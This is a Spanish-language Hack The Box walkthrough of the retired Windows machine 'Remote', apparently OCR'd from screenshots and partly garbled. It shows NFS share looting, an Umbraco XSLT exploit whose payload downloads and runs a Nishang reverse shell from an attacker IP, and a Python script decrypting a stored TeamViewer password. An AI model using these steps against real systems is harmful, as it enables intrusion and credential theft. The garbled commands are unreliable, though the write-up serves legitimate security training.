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RELEASE DATE DIFFICULTY MACHINE STATE

Windows 21 Mar 2020 Easy Retired

1. Enumeracion
Realizamos un Ping contra la maquina victima para que, a partir del TTL, podemos intuir que
sistema operativo puede tener la mdquina victima. En este caso, parece una maquina
Windows.

Realizamos un escaneo exhaustivo de los puertos que se encuentran abiertos, para determinar
gue software y versidn esta corriendo en cada uno de ellos.

22 as: nmap -SCV -v -n -p 21,80,111, ,2049,5985,47001,49664, 49665, 49666, 49667 ,49678,49679,49680 -ON targeted 10.10.10.18

PORT STATE SERVICE
21/tcp open ftp
ftp-syst

_ftp-anon P de 230)
8 httpd 2.0 (SSDP/UPNP)

service
rpebind
rpebind
rpebind
rpebind
nfs

mountd
mountd
mountd
mountd
nlockmgr
nlockngr

status

open msrpc
open netbios-ssn netbios-ssn

open microsoft-d
open mountd
open http c httpd 2.0 (SSDP/UPNP)
tp-server-header: Micro 2
_http-title: Not Found
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2. Analisis de vulnerabilidades
Vemos que la maquina victima tiene el puerto 21/FTP abierto, intentamos conectarnos como
invitado, pero no tenemos acceso.

/home/parrot/HTE/remote
] ). | .

Vemos que la maquina victima tiene recursos compartidos, intentamos conectarnos a ellos,
pero no hay suerte.

No sabemos si la maquina victima es un controlador de dominio, pero intentamos hacer una
enumeracion de usuarios aprovechandonos del servicio de RPC.

/home/parrot/HTB/remote
-U " 10.

Vamos revisar con Wfuzz, un listado de directorios que puede haber en la web de la maquina
victima.

dium. txt http://10.10.10.180/FUZZ
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Intentamos acceder a la web http://10.10.10.180/install y nos lleva a un panel de
administracién. Intentamos varias combinaciones de usuario y clave por defecto
(supuestamente deberia ser admin/test para el CMS Umbraco) pero no resultan:

e admin/test

e admin/admin

e administrator/adminitrator
e administrator/test

QO @ o~ 10.10.10.180,

Happy tubular Tuesday

Login failed for user admin
Username

admin

Password

seee

Intentamos varios ataques de SQL Injection, pero tampoco parecen funcionar. Revisamos de
nuevo nuestra captura de Nmap, y vemos el puerto 2049/tcp mountd. Vamos a ver de qué se
trata. (https://book.hacktricks.xyz/network-services-pentesting/nfs-service-pentesting).

2049 - Pentesting NFS Service

> Support HackTricks and get benefits!

Basic Information

Itis a client/server system that allows users to access files across a network and treat them as if they
resided in a local file directory. It has the same purpose as SMB but it cannot talk to SMB.

The NFS protocol has ne mechanism for authentication or authorization. The authorization is taken from
the available information of the file system where the server is responsible for translating the user
information supplied by the client to that of the file system and converting the corresponding
authorization information as correctly as possible into the syntax required by UNIX.

Intentamos montar el almacenamiento:

e aptinstall nfs-common (instalamos el cliente en nuestra maquina atacante)
e Listamos las carpetas compartidas:

/home/parrot/HTB/ p 1h 57m 225 2
10.1

e Nos conectamos al recurso compartido:
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http://10.10.10.180/install
https://book.hacktricks.xyz/network-services-pentesting/nfs-service-pentesting

/home/parrot/HTB/remote

/home/parrot/HTB/remote
-t nfs 10.10.10.1

/home/parrot/HTB/remote
-la /mnt/rei

body { Views

ody - default.aspx
- nobody 42949 4 9 1 Global.asax
- nobody 4294967294 27.9 K Y Web.config

Vamos a revisar el arbol de directorio, primeramente, solo con 2 niveles de profundidad.

a /mnt/rgmote

—— App_Browsers
— Form.browser
w3cvalidator.browser
— App_Data
cache
Logs
Models
packages
TEMP
umbraco.config
Umbraco.sdf

Nos llama la atencién el fichero con extensién “.sdf”. Es un fichero que actia como fichero de
BBDD. Vamos a ver si tiene cadena de caracteres imprimibles. Vemos un hash que puede ser la
contrasefia del usuario administrador.

Clave: baconandcheese

Procedemos a logarnos en el panel de administracién con dicha clave.
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Happy tubular Tuesday

Username

admin@htb.local

Password

sesecssssssces

Conseguimos acceder.

3. Explotacion e intrusion
Nos percatemos que estamos en un CMS Umbraco. Revisamos si tiene algun exploit.

Nos descargarmaos el exploit y el reverse shell de Nishang en nuestra maquina:
https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-
PowerShellTcp.psl. Modificamos el cddigo de la reverse shell para que directamente lo
invoque, modificamos el exploit, para que ejecute nuestro cédigo malicioso, lo publicamos el
en nuestra maquina atacante por el puerto 80 y nos ponemos en escucha en nuestra maquina
atacante.

GNU nano 5.4 ps.psl

10.10.14.63 -Port 443]]

.0"2><xsListyl t version="1.0"
1999/XSL/Transform" xn X rn:schemas-microsoft-com:xslt"
arp.mycompany . com/mynamespace"
c#' ement "csharp_user" t )
rshell IEX(New: et.WebClient).downloadString(\'http://10.10.14.63/ps.ps1\')"; System.Dia
md . ex ro = cmd;

= "admin@htb.local";
rd="baconandcheese" ;
= "http://10.10.10.180";

Hemos ganado acceso a la maquina.
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https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

4. Escalada de privilegios
Revisamos los procesos corriendo en el sistema con Tasklist y vemos que esta el proceso
TeamViewer. Hay una forma de descifrar la clave del registro de Windows del programa de

TeamViewer. Veremos si aplica en esta maquina.

\Program F
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Clave:

255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,12

6,141,55,107,38,57,78,91

Nos hacemos un pequefio script en Python.

#!/usr/bin/env python3
from Crypto.Cipher import AES

key = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
iv = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
ciphertext = bytes([255, 155, 28, 115, 214, 107, 206, 49, 172, 65, 62, 174,

19, 27,70, 79, 88, 47, 108, 226, 209, 225, 243, 218,

126, 141, 55, 107, 38, 57, 78, 91])

aes = AES.new(key, AES.MODE_CBC, IV=iv)
password = aes.decrypt(ciphertext).decode("utf-16").rstrip("\x00")

print(f"[+] Found password: {password}")

Lo ejecutamos un obtenemos una credencial.

/home/parrot/HTB/remote

Clave: |IR3m0te!

Comprobamos si se ha reutilizado la contraseiia para el usuario Administrador.

©Dandy_loco
https://dandyloco.github.io/



Ganamos acceso como administrador a la maquina.

/home/parrot/HTB/remote x=»

10.180 -

arning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
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